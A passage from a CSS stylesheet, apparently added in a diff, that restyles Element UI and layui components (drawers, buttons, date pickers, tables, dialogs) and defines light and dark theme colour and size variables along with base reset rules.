text-align: center; + color: #fff; + background: #c0c4cc; + width: 40px; + height: 40px; + line-height: 40px; + font-size: 14px +} + +.el-avatar>img { + display: block; + height: 100%; + vertical-align: middle +} + +.el-drawer, +.el-drawer__header { + display: -webkit-box; + display: -ms-flexbox +} + +.el-avatar--circle { + border-radius: 50% +} + +.el-avatar--square { + border-radius: 4px +} + +.el-avatar--icon { + font-size: 18px +} + +.el-avatar--large { + width: 40px; + height: 40px; + line-height: 40px +} + +.el-avatar--medium { + width: 36px; + height: 36px; + line-height: 36px +} + +.el-avatar--small { + width: 28px; + height: 28px; + line-height: 28px +} + +.el-drawer.btt, +.el-drawer.ttb, +.el-drawer__container { + left: 0; + right: 0; + width: 100% +} + +.el-drawer.ltr, +.el-drawer.rtl, +.el-drawer__container { + top: 0; + bottom: 0; + height: 100% +} + +@-webkit-keyframes el-drawer-fade-in { + 0% { + opacity: 0 + } + 100% { + opacity: 1 + } +} + +@keyframes el-drawer-fade-in { + 0% { + opacity: 0 + } + 100% { + opacity: 1 + } +} + +@-webkit-keyframes rtl-drawer-in { + 0% { + -webkit-transform: translate(100%, 0); + transform: translate(100%, 0) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@keyframes rtl-drawer-in { + 0% { + -webkit-transform: translate(100%, 0); + transform: translate(100%, 0) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@-webkit-keyframes rtl-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(100%, 0); + transform: translate(100%, 0) + } +} + +@keyframes rtl-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(100%, 0); + transform: translate(100%, 0) + } +} + +@-webkit-keyframes ltr-drawer-in { + 0% { + -webkit-transform: translate(-100%, 0); + transform: translate(-100%, 0) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@keyframes ltr-drawer-in { + 0% { + -webkit-transform: translate(-100%, 0); + transform: translate(-100%, 0) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@-webkit-keyframes ltr-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(-100%, 0); + transform: translate(-100%, 0) + } +} + +@keyframes ltr-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(-100%, 0); + transform: translate(-100%, 0) + } +} + +@-webkit-keyframes ttb-drawer-in { + 0% { + -webkit-transform: translate(0, -100%); + transform: translate(0, -100%) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@keyframes ttb-drawer-in { + 0% { + -webkit-transform: translate(0, -100%); + transform: translate(0, -100%) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@-webkit-keyframes ttb-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(0, -100%); + transform: translate(0, -100%) + } +} + +@keyframes ttb-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(0, -100%); + transform: translate(0, -100%) + } +} + +@-webkit-keyframes btt-drawer-in { + 0% { + -webkit-transform: translate(0, 100%); + transform: translate(0, 100%) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@keyframes btt-drawer-in { + 0% { + -webkit-transform: translate(0, 100%); + transform: translate(0, 100%) + } + 100% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } +} + +@-webkit-keyframes btt-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(0, 100%); + transform: translate(0, 100%) + } +} + +@keyframes btt-drawer-out { + 0% { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) + } + 100% { + -webkit-transform: translate(0, 100%); + transform: translate(0, 100%) + } +} + +.el-drawer { + position: absolute; + box-sizing: border-box; + background-color: #fff; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-shadow: 0 8px 10px -5px rgba(0, 0, 0, .2), 0 16px 24px 2px rgba(0, 0, 0, .14), 0 6px 30px 5px rgba(0, 0, 0, .12); + box-shadow: 0 8px 10px -5px rgba(0, 0, 0, .2), 0 16px 24px 2px rgba(0, 0, 0, .14), 0 6px 30px 5px rgba(0, 0, 0, .12) +} + +.el-drawer.rtl { + -webkit-animation: rtl-drawer-out .3s; + animation: rtl-drawer-out .3s; + right: 0 +} + +.el-drawer__open .el-drawer.rtl { + -webkit-animation: rtl-drawer-in .3s 1ms; + animation: rtl-drawer-in .3s 1ms +} + +.el-drawer.ltr { + -webkit-animation: ltr-drawer-out .3s; + animation: ltr-drawer-out .3s; + left: 0 +} + +.el-drawer__open .el-drawer.ltr { + -webkit-animation: ltr-drawer-in .3s 1ms; + animation: ltr-drawer-in .3s 1ms +} + +.el-drawer.ttb { + -webkit-animation: ttb-drawer-out .3s; + animation: ttb-drawer-out .3s; + top: 0 +} + +.el-drawer__open .el-drawer.ttb { + -webkit-animation: ttb-drawer-in .3s 1ms; + animation: ttb-drawer-in .3s 1ms +} + +.el-drawer.btt { + -webkit-animation: btt-drawer-out .3s; + animation: btt-drawer-out .3s; + bottom: 0 +} + +.el-drawer__open .el-drawer.btt { + -webkit-animation: btt-drawer-in .3s 1ms; + animation: btt-drawer-in .3s 1ms +} + +.el-drawer__wrapper { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + overflow: hidden; + margin: 0 +} + +.el-drawer__header { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + color: #72767b; + display: flex; + margin-bottom: 32px; + padding: 20px 20px 0 +} + +.el-drawer__header>:first-child { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1 +} + +.el-drawer__title { + margin: 0; + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + line-height: inherit; + font-size: 1rem +} + +.el-drawer__close-btn { + border: none; + cursor: pointer; + font-size: 20px; + color: inherit; + background-color: transparent +} + +.el-drawer__body { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1 +} + +.el-drawer__body>* { + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-drawer__container { + position: relative +} + +.el-drawer-fade-enter-active { + -webkit-animation: el-drawer-fade-in .3s; + animation: el-drawer-fade-in .3s +} + +.el-drawer-fade-leave-active { + animation: el-drawer-fade-in .3s reverse +} + +.el-popconfirm__main { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-popconfirm__icon { + margin-right: 5px +} + +.el-popconfirm__action { + text-align: right; + margin: 0 +} + +.el-button, +.el-button:focus, +.el-button:hover { + outline: 0 !important +} + +.el-button.el-button--default:focus, +.el-button.el-button--default:hover { + color: var(--color-primary); + border-color: var(--color-primary); + background-color: #fff +} + +.el-button.is-disabled, +.el-button.is-disabled:focus, +.el-button.is-disabled:hover { + color: #c0c4cc; + background-color: #fff; + border-color: #ebeef5 +} + +.el-button.el-button--primary, +.el-button.el-button--primary:focus, +.el-button.el-button--primary:hover { + color: #fff; + border-color: var(--color-primary) +} + +.el-button.el-button--primary:focus:hover, +.el-button.el-button--primary:hover, +.el-button.el-button--primary:hover:hover { + border-color: var(--color-primary-dark) +} + +.el-button--mini { + padding: 7px +} + +.el-button--text { + border: none +} + +.el-button--text:focus, +.el-button--text:hover { + border: none +} + +.el-button--primary, +.el-button--primary:focus, +.el-button--primary:hover, +.el-radio-button__orig-radio:checked+.el-radio-button__inner { + background: var(--color-primary); + border-color: var(--color-primary); + color: #fff +} + +.el-button--primary:focus:hover, +.el-button--primary:hover, +.el-button--primary:hover:hover, +.el-radio-button__orig-radio:checked+.el-radio-button__inner:hover { + color: #fff +} + +.el-button--primary.is-disabled, +.el-button--primary.is-disabled:active, +.el-button--primary.is-disabled:focus, +.el-button--primary.is-disabled:hover { + color: #fff; + background: var(--color-primary-light); + border-color: var(--color-primary-light) !important +} + +.el-input-group__append { + text-align: center +} + +.el-input-group__append button.el-button { + color: #666; + border: none +} + +.el-input-group__append button.el-button:hover { + color: #666 +} + +.el-radio-button__inner:hover { + color: var(--color-primary) +} + +.ub-lister-search .field .el-radio-button { + padding: inherit; + border: none +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-active { + color: var(--color-primary) +} + +.el-message, +.el-step .el-step__title { + font-size: var(--font-size) +} + +.el-upload-dragger .el-upload__text { + font-size: var(--font-size) +} + +.el-dialog { + border-radius: .5rem +} + +@media screen and (max-width:40rem) { + .el-dialog { + width: 96% + } +} + +.el-dialog__header { + padding: 10px; + border-bottom: 1px solid #eee +} + +.el-dialog__footer { + border-top: 1px solid #eee; + padding: 10px +} + +.el-dialog__title { + font-size: var(--font-size-medium); + font-weight: 700 +} + +.el-dialog__headerbtn { + top: 10px; + outline: 0 !important +} + +.el-dialog__headerbtn:focus .el-dialog__close, +.el-dialog__headerbtn:hover .el-dialog__close { + color: var(--color-danger) +} + +.el-dialog__body { + padding: 10px; + font-size: var(--font-size) +} + +.el-form-item__label, +.el-select-dropdown__empty, +.el-tabs__item, +.el-tree-node__label, +.iconfont { + font-size: var(--font-size); + border: none !important +} + +.el-input__inner { + padding: 0 10px +} + +.el-pagination { + font-weight: 400 +} + +.el-form-item--small .el-form-item__content, +.el-form-item--small .el-form-item__label { + font-size: var(--font-size) +} + +.el-select-dropdown__item { + font-size: var(--font-size); + padding: 0 10px; + height: 30px; + line-height: 30px +} + +.el-checkbox__label { + font-size: var(--font-size) +} + +.el-dropdown-menu .el-dropdown-menu__item { + line-height: 30px; + padding: 5px 10px +} + +.el-dropdown-menu .el-dropdown-menu__item a { + padding: 10px 15px; + display: block +} + +.el-dropdown-menu.el-dropdown-menu--small .el-dropdown-menu__item { + padding: 2px 8px; + line-height: 26px +} + +.el-dropdown-menu.el-dropdown-menu--small .el-dropdown-menu__item:hover { + color: var(--color-primary) +} + +.el-dropdown-menu.el-dropdown-menu--mini .el-dropdown-menu__item { + padding: 2px 6px; + line-height: 22px +} + +.el-dropdown-menu.el-dropdown-menu--mini .el-dropdown-menu__item:hover { + color: var(--color-primary) +} + +.el-input-number.el-input-number--small { + line-height: 28px +} + +.el-select { + width: 100% +} + +.el-select .el-select__input { + border: none; + padding: inherit; + background: 0 0; + font-size: 12px +} + +.el-select .el-input .el-input__inner { + background-color: #fff +} + +.el-image__error { + font-size: var(--font-size) -small +} + +.el-transfer { + font-size: var(--font-size); + text-align: center +} + +.el-transfer .el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label { + font-size: var(--font-size) +} + +.el-transfer .el-transfer-panel { + text-align: left +} + +.el-transfer .el-transfer-panel .el-transfer-panel__item { + display: block +} + +.el-switch.is-checked .el-switch__core { + background: var(--color-primary); + border-color: var(--color-primary) +} + +.ub-form .line .field label.el-checkbox { + border: none; + margin-right: 10px; + padding: 0 +} + +.ub-form .line .field label.el-checkbox .el-checkbox__label { + padding: 0 0 0 5px +} + +.el-checkbox__input.is-checked .el-checkbox__inner, +.el-checkbox__input.is-indeterminate .el-checkbox__inner, +.el-radio__input.is-checked .el-radio__inner { + background: var(--color-primary); + border-color: var(--color-primary) +} + +.el-checkbox__input.is-checked+.el-checkbox__label { + color: var(--color-primary) +} + +.el-checkbox__input.is-focus .el-checkbox__inner { + border-color: var(--color-primary) +} + +.el-checkbox__input.is-focus+.el-checkbox__label { + color: var(--color-primary) +} + +.el-radio__input.is-checked+.el-radio__label { + color: var(--color-primary) +} + +.el-radio__label { + font-size: var(--font-size) +} + +.el-table tr th .cell { + font-size: var(--font-size) +} + +.el-table .ascending .sort-caret.ascending { + border-bottom-color: var(--color-primary) +} + +.el-table .descending .sort-caret.descending { + border-top-color: var(--color-primary) +} + +.el-drawer__open .el-drawer__header { + padding: 10px; + border-bottom: 1px solid #eee; + margin-bottom: 0 +} + +.el-drawer__open .el-drawer__body { + padding: 10px; + display: block; + position: relative +} + +.el-drawer__open .el-drawer__body .body { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + overflow: auto; + padding: 20px; + padding-bottom: 50px +} + +.el-drawer__open .el-drawer__body .foot { + position: absolute; + bottom: 0; + left: 0; + right: 0; + padding: 10px; + background: #fff; + border-top: 1px solid #eee; + text-align: right +} + +.te-toolbar-section { + height: 40px +} + +.te-toolbar-section .tui-editor-defaultUI-toolbar { + padding: 0 5px +} + +.te-toolbar-section .tui-editor-defaultUI-toolbar button { + margin: 8px 5px; + outline: 0 +} + +.te-toolbar-section .tui-editor-defaultUI-toolbar .tui-toolbar-divider { + margin: 13px 0 +} + +.te-toolbar-section .tui-editor-defaultUI-toolbar button.tui-scrollsync { + display: none !important +} + +.el-loading-spinner i { + color: #fff; + font-size: 30px +} + +.el-loading-spinner .el-loading-text { + color: #fff; + font-size: 12px +} + +.el-loading-spinner { + margin-top: -15px +} + +.el-loading-spinner .circular { + width: 30px; + height: 30px +} + +.el-drawer__close-btn { + line-height: 20px; + outline: 0 !important +} + +.el-tabs__item.is-active { + color: var(--color-primary) +} + +.el-tabs__item:hover { + color: var(--color-primary) +} + +.el-tabs__active-bar { + background-color: var(--color-primary) +} + +.ub-form .line .field label.el-radio { + border: none +} + +.el-textarea__inner { + padding: 5px +} + +.el-date-editor.el-input.el-date-editor--date { + width: 7rem +} + +.el-date-editor.el-input.el-date-editor--datetime { + width: 10rem +} + +.el-date-editor.el-input .el-input__inner { + text-align: center +} + +.el-date-editor.el-range-editor { + padding-right: 0 +} + +.el-date-editor.el-range-editor.el-date-editor--datetimerange { + width: 16rem +} + +.el-date-editor.el-range-editor.el-date-editor--daterange { + width: 11rem +} + +.el-date-editor.el-range-editor .el-range-input { + flex-grow: 1 +} + +.el-date-editor.el-range-editor .el-input__icon, +.el-date-editor.el-range-editor .el-range-separator { + width: auto +} + +.el-date-editor.el-range-editor .el-range__close-icon { + display: none +} + +.el-picker-panel .el-picker-panel__body .el-picker-panel__content { + padding: 8px +} + +.el-picker-panel .el-picker-panel__body .el-picker-panel__content .el-date-range-picker__header div { + font-size: var(--font-size) +} + +.el-picker-panel.el-date-picker { + width: 222px +} + +.el-picker-panel.el-date-picker .el-picker-panel__content { + margin: 5px; + width: 210px +} + +.el-picker-panel.el-date-picker .el-date-picker__time-header .el-input__inner { + height: 24px; + line-height: 24px; + font-size: var(--font-size-small); + text-align: center +} + +.el-picker-panel.el-date-picker .el-date-picker__header { + margin: 5px +} + +.el-picker-panel.el-date-picker .el-date-picker__header .el-date-picker__header-label, +.el-picker-panel.el-date-picker .el-date-picker__header .el-picker-panel__icon-btn { + font-size: var(--font-size-small) +} + +.el-picker-panel.el-date-range-picker { + width: 502px +} + +.el-picker-panel.el-date-range-picker.has-sidebar { + width: 592px +} + +.el-picker-panel.el-date-range-picker .el-picker-panel__body { + min-width: 500px; + width: 500px +} + +.el-picker-panel.el-date-range-picker .el-date-range-picker__time-header .el-input__inner { + height: 24px; + line-height: 24px; + font-size: var(--font-size-small); + text-align: center +} + +.el-picker-panel.el-date-range-picker .el-picker-panel [slot=sidebar]+.el-picker-panel__body, +.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar+.el-picker-panel__body { + margin-left: 90px +} + +.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar { + width: 90px +} + +.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar .el-picker-panel__shortcut { + font-size: var(--font-size-small) +} + +.el-radio-group label { + margin-bottom: 0 +} + +.ub-form .line .field label.el-radio-button { + padding: 0; + border: none +} + +.el-dropdown { + font-size: var(--font-size) +} + +.el-dropdown .el-button-group .el-button--default:focus, +.el-dropdown .el-button-group .el-button--default:hover { + border-color: #dcdfe6 +} + +input:-webkit-autofill { + -webkit-box-shadow: 0 0 0 1000px #fff inset +} + +@media screen and (max-width:40rem) { + .el-message-box { + max-width: 80% + } +} + +.pb-el-select-confirm-box { + height: 33px +} + +.pb-el-select-confirm-box .pb-el-select-confirm-box-bar { + padding: 5px 10px; + position: absolute; + bottom: 0; + left: 0; + right: 0; + background: #fff; + border-top: 1px solid #eee; + text-align: right +} + +.pb-el-select-confirm-box .pb-el-select-confirm-box-bar button { + height: 22px; + line-height: 20px; + padding: 0 10px +} + +.el-radio-button__orig-radio:checked+.el-radio-button__inner { + background-color: var(--color-primary); + border-color: var(--color-primary); + -webkit-box-shadow: -1px 0 0 0 var(--color-primary); + box-shadow: -1px 0 0 0 var(--color-primary) +} + +.el-avatar { + vertical-align: middle +} + +.el-cascader .el-input__inner:read-only { + background-color: var(--color-input-light-bg) +} + +.el-cascader-panel .el-cascader-node { + height: 28px; + line-height: 28px +} + +.el-cascader-panel .el-cascader-node>.el-radio { + margin-top: 12px +} + +.el-input-number__decrease:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled), +.el-input-number__increase:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled) { + border-color: #ddd +} + +.layui-table-tool-temp { + padding-right: 0 +} + +.layui-tree-icon { + box-sizing: content-box; + border-radius: 7px +} + +.layui-tree-iconClick .layui-icon.layui-icon-file { + font-size: 14px +} + +.layui-laydate { + font-size: var(--font-size) +} + +.layui-form-radio { + margin-top: 0 +} + +.layui-form-radio * { + font-size: var(--font-size) +} + +.layui-layer-tips i.layui-layer-TipsB, +.layui-layer-tips i.layui-layer-TipsT { + border-right-color: transparent !important; + left: 2px; + pointer-event: none +} + +.layui-layer-tips i.layui-layer-TipsB { + border-bottom-color: #333; + top: -13px +} + +.layui-layer-tips i.layui-layer-TipsT { + border-top-color: #333; + bottom: -13px +} + +.layui-tree-txt { + text-decoration: none !important +} + +.layui-table-cell, +.layui-table-view .layui-table[lay-size=sm] .layui-table-cell { + height: auto +} + +.layui-table-cell p { + margin-bottom: 0 +} + +.layui-table, +.layui-table-view { + margin: 0 +} + +.layui-table-view .layui-table td { + padding: 10px 0 +} + +.layui-table-body .layui-none { + background: #fff +} + +.layui-table-body [data-index] [data-field="0"] [data-checked-order] { + position: absolute; + top: .1rem; + left: .1rem; + min-width: 1rem; + height: 1rem; + text-align: center; + color: var(--color-primary); + border: .05rem solid var(--color-primary); + border-radius: 50%; + font-size: var(--font-size-small); + line-height: .9rem +} + +.layui-table-tips-c { + padding: 0 +} + +.layui-table-view .layui-table-init .layui-icon { + top: var(--layui-table-loading-top, 50%) +} + +.layui-form-switch { + box-sizing: content-box +} + +.layui-colorpicker-main-input .layui-btn-container .layui-btn { + margin: 0 +} + +.layui-table td, +.layui-table th { + font-size: inherit +} + +.ub-lister-search .layui-form-select { + width: 7rem +} + +.layui-table { + color: var(--color-text) +} + +.layui-table th { + font-weight: 700 +} + +.layui-table-header th .layui-table-cell { + position: relative +} + +.layui-table-header th .layui-table-cell:after { + content: ''; + display: block; + position: absolute; + width: 1px; + bottom: 0; + right: 5px; + top: 0; + background-image: linear-gradient(to bottom, #fff, #eee, #fff) +} + +.layui-table-tool .layui-inline[lay-event] { + border: none; + color: #666; + background-color: #f7f7f7; + box-shadow: 0 0 1px #ccc; + border-radius: .2rem +} + +.layui-table-tool .layui-inline[lay-event]:hover { + border: none +} + +.layui-table-tool .layui-btn-container .btn { + margin-right: .2rem +} + +.layui-layer-iframe { + border-radius: .5rem; + overflow: hidden +} + +.layui-layer-dialog { + border-radius: .5rem +} + +.layui-layer-dialog.layui-layer-msg { + background: var(--color-content-bg); + color: var(--color-text); + border-radius: .5rem; + box-shadow: 0 6px 16px 0 rgba(0, 0, 0, .08), 0 3px 6px -4px rgba(0, 0, 0, .12), 0 9px 28px 8px rgba(0, 0, 0, .05); + pointer-events: all; + border: none +} + +.layui-layer-dialog.layui-layer-msg .layui-layer-content { + padding: .5rem .5rem .5rem 2rem +} + +.layui-layer-dialog.layui-layer-msg .layui-layer-content .layui-layer-face { + top: .5rem; + left: .5rem; + font-size: 1rem +} + +.layui-layer-dialog.layui-layer-msg .layui-layer-content .layui-icon-success { + color: #16b777 +} + +.ms-field-image-grid { + display: block; + height: 2.1rem; + box-sizing: border-box; + vertical-align: middle; + text-align: center +} + +.ms-field-image-grid img { + height: 2rem; + max-width: 2rem; + display: inline-block; + margin-top: 1px; + box-shadow: 0 0 1px #ccc; + border-radius: 3px; + object-fit: contain +} + +:root, +page { + --color-primary: var(--theme-color-primary, #3555CC); + --color-primary-light: var(--theme-color-primary-light, #afbceb); + --color-primary-light-bg: var(--theme-color-primary-light-bg, #eceffa); + --color-primary-dark: var(--theme-color-primary-dark, #2f4cb9); + --color-success: #3bb346; + --color-success-dark: #30953b; + --color-success-light: #ecf7ec; + --color-warning: #fc8800; + --color-warning-dark: #d26700; + --color-warning-light: #fff8ea; + --color-danger: #f93920; + --color-danger-dark: #d52515; + --color-danger-light: #fef2ed; + --color-link: #0064fa; + --color-link-light: #6ba7f5; + --color-link-dark: #004ca5; + --color-link-hover: #004ca5; + --color-tertiary: #6b7075; + --color-tertiary-dark: #555b61; + --color-tertiary-light: #c6cacd; + --color-input-placeholder: #C4CFDB; + --color-text: var(--theme-color-text, #34495e); + --color-text-reverse: var(--theme-color-text-reverse, #FFFFFF); + --color-muted: #C4CFDB; + --color-body-bg: var(--theme-color-body-bg, #F4F6F8); + --color-content-bg: var(--theme-color-content-bg, #FFFFFF); + --color-body-line: var(--theme-color-body-line, #E5E9EE); + --color-input-bg: var(--theme-color-input-bg, #F4F4F4); + --color-input-light-bg: var(--theme-color-input-bg, #FFFFFF); + --color-body-block-bg: #F7F7F7; + --color-body-block-bg-hover: #eaeaea; + --color-body-block: #666666; + --color-body-block-hover: #595959; + --color-mask: rgba(0, 0, 0, 0.5); + --color-scrollbar-bg: #FFFFFF; + --scolor-scrollbar-thumb: #B3B3B3; + --color-primary-gradient-bg: linear-gradient(45deg, var(--color-primary) 0%, var(--color-primary-light) 150%); + --icon-arrow: url('data:image/svg+xml;utf8,'); + --box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.05); + --size-radius: var(--theme-size-radius, 0.4rem); + --size-margin: var(--theme-size-margin, 0.5rem); + --size-margin-lg: var(--theme-size-margin-lg, 2rem); + --size-padding: var(--theme-size-padding, 0.5rem); + --font-size-root: var(--theme-font-size-root, 20px); + --font-size: var(--theme-font-size, 0.65rem); + --font-size-lh: var(--theme-font-size, 0.715rem); + --font-size-medium: var(--theme-font-size, 0.8rem); + --font-size-large: var(--theme-font-size-large, 1rem); + --font-size-small: var(--theme-font-size-small, 0.6rem); + --container-width: var(--theme-container-width, 60rem) +} + +[data-theme=dark], +[data-theme=dark] page, +[data-theme=dark]:root { + --color-link: #a3a7bb; + --color-link-hover: #cacdda; + --color-body-bg: #151728; + --color-content-bg: #1b1e32; + --color-body-line: #424554; + --color-text: #a3a7bb; + --color-input-placeholder: #80859f; + --color-input-bg: #1b1e32; + --color-input-light-bg: #1b1e32; + --color-muted: #80859f; + --color-body-block-bg: #545767; + --color-body-block-bg-hover: #9396a8; + --color-body-block: #F8F8F8; + --color-body-block-hover: #FFFFFF; + --color-mask: rgba(240, 240, 240, 0.5) +} + +@media (prefers-color-scheme:dark) { + [data-theme=auto], + [data-theme=auto] page, + [data-theme=auto]:root { + --color-body-bg: #151728 !important; + --color-content-bg: #1b1e32 !important; + --color-body-line: #424554 !important; + --color-text: #a3a7bb !important; + --color-input-placeholder: #80859f !important; + --color-input-bg: #1b1e32 !important; + --color-input-light-bg: #1b1e32 !important; + --color-muted: #80859f !important; + --color-body-block-bg: #545767 !important; + --color-body-block-bg-hover: #9396a8 !important; + --color-body-block: #F8F8F8 !important; + --color-body-block-hover: #FFFFFF !important + } +} + +*, +::after, +::before { + box-sizing: border-box; + outline: 0 +} + +html { + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + -ms-overflow-style: auto; + -webkit-tap-highlight-color: transparent +} + +@-ms-viewport { + width: device-width +} + +article, +aside, +dialog, +figcaption, +figure, +footer, +header, +hgroup, +main, +nav, +section { + display: block +} + +body { + margin: 0; + line-height: 1.5; + text-align: left +} + +[tabindex="-1"]:focus { + outline: 0 !important +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible +} + +h1, +h2, +h3, +h4, +h5, +h6 { + margin-top: 0; + margin-bottom: .5rem +} + +p { + margin-top: 0; + margin-bottom: 1rem +} + +abbr[data-original-title], +abbr[title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0 +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit +} + +dl, +ol, +ul { + margin-top: 0; + margin-bottom: 1rem +} + +ol ol, +ol ul, +ul ol, +ul ul { + margin-bottom: 0 +} + +dt { + font-weight: 700 +} + +dd { + margin-bottom: .5rem; + margin-left: 0 +} + +blockquote { + margin: 0 0 1rem +} + +dfn { + font-style: italic +} + +b, +strong { + font-weight: bolder +} + +small { + font-size: 80% +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline +} + +sub { + bottom: -.25em +} + +sup { + top: -.5em +} + +a { + color: var(--color-link); + text-decoration: none; + background-color: transparent; + -webkit-text-decoration-skip: objects; + transition: color .3s ease-in-out, background-color .3s ease-in-out, border-color .3s ease-in-out +} + +a.default { + color: var(--color-text) +} + +a:hover { + color: var(--color-link-hover) +} + +a:not([href]):not([tabindex]):focus { + outline: 0 +} + +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em +} + +pre { + margin-top: 0; + margin-bottom: 1em; + overflow: auto; + -ms-overflow-style: auto +} + +figure { + margin: 0 0 1rem +} + +img { + vertical-align: middle; + border-style: none +} + +svg:not(:root) { + overflow: hidden +} + +table { + border-collapse: collapse +} + +caption { + padding-top: .75rem; + padding-bottom: .75rem; + color: #6c757d; + text-align: left; + caption-side: bottom +} + +th { + text-align: inherit +} + +label { + display: inline-block; + margin-bottom: .5rem +} + +button { + border-radius: 0 +} + +button, +input, +optgroup, +select, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit +} + +button, +input { + overflow: visible +} + +button, +select { + text-transform: none +} + +[type=reset], +[type=submit], +button, +html [type=button] { + -webkit-appearance: button +} + +[type=button]::-moz-focus-inner, +[type=reset]::-moz-focus-inner, +[type=submit]::-moz-focus-inner, +button::-moz-focus-inner { + padding: 0; + border-style: none +} + +input[type=checkbox], +input[type=radio] { + box-sizing: border-box; + padding: 0 +} + +input[type=date], +input[type=datetime-local], +input[type=month], +input[type=time] { + -webkit-appearance: listbox +} + +textarea { + overflow: auto; + resize: vertical +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0 +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal +} + +progress { + vertical-align: baseline +} + +[type=number]::-webkit-inner-spin-button, +[type=number]::-webkit-outer-spin-button { + height: auto +} + +[type=search] { + outline-offset: -2px; + -webkit-appearance: none +} + +[type=search]::-webkit-search-cancel-button, +[type=search]::-webkit-search-decoration { + -webkit-appearance: none +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button +} + +output { + display: inline-block +} + +summary { + display: list-item; + cursor: pointer +} + +template { + display: none +} + +[hidden] { + display: none !important +} + +html { + font-size: var(--font-size-root); + font-family: "Segoe UI", "Lucida Grande", Helvetica, Arial, "Microsoft YaHei", FreeSans, Arimo, "Droid Sans", "wenquanyi micro hei", "Hiragino Sans GB", "Hiragino Sans GB W3", FontAwesome, sans-serif; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + background-color: var(--color-body-bg); + color: var(--color-text) +} + +body { + font-size: .65rem; + font-weight: 400 +} + +body.scroll-lock { + overflow: hidden +} + +.iconfont { + font-size: inherit +} + +code, +pre { + padding: .25rem; + font-size: .6rem; + -webkit-border-radius: var(--size-radius, .25rem); + -moz-border-radius: var(--size-radius, .25rem); + border-radius: var(--size-radius, .25rem) +} + +pre { + border: 1px solid var(--color-body-line) +} + +a.ub-text { + color: #333 +} + +a.ub-text:hover { + text-decoration: underline +} + +.margin-top-lg { + margin-top: var(--size-margin-lg, 2rem) !important +} + +.margin-top { + margin-top: var(--size-margin, .5rem) !important +} + +.margin-top-remove { + margin-top: 0 !important +} + +.margin-left { + margin-left: var(--size-margin, .5rem) !important +} + +.margin-left-remove { + margin-left: 0 !important +} + +.margin-bottom { + margin-bottom: var(--size-margin, .5rem) !important +} + +.margin-bottom-lg { + margin-bottom: var(--size-margin-lg, 2rem) !important +} + +.margin-bottom-remove { + margin-bottom: 0 !important +} + +.margin-right { + margin-right: var(--size-margin, .5rem) !important +} + +.margin-right-remove { + margin-right: 0 !important +} + +.ub-padding { + padding: var(--size-margin, .5rem) !important +} + +.padding-top { + padding-top: var(--size-margin, .5rem) !important +} + +.padding-bottom { + padding-bottom: var(--size-margin, .5rem) !important +} + +.padding-bottom-remove { + padding-bottom: 0 !important +} + +.ub-container, +.ub-mobile-container { + max-width: var(--container-width, 57rem); + margin-left: auto; + margin-right: auto; + padding-left: calc(var(--size-margin)/ 2); + padding-right: calc(var(--size-margin)/ 2) +} + +.ub-container.narrow, +.ub-mobile-container.narrow { + max-width: 30rem +} + +.ub-container.narrow-lg, +.ub-mobile-container.narrow-lg { + max-width: 40rem +} + +.ub-mobile-container { + max-width: 30rem; + box-shadow: 0 0 5px #ccc +} + +.ub-color-a { + color: coral !important +} + +.ub-bg-a { + background-color: coral !important; + color: #fff !important +} + +.ub-color-b { + color: #dc143c !important +} + +.ub-bg-b { + background-color: #dc143c !important; + color: #fff 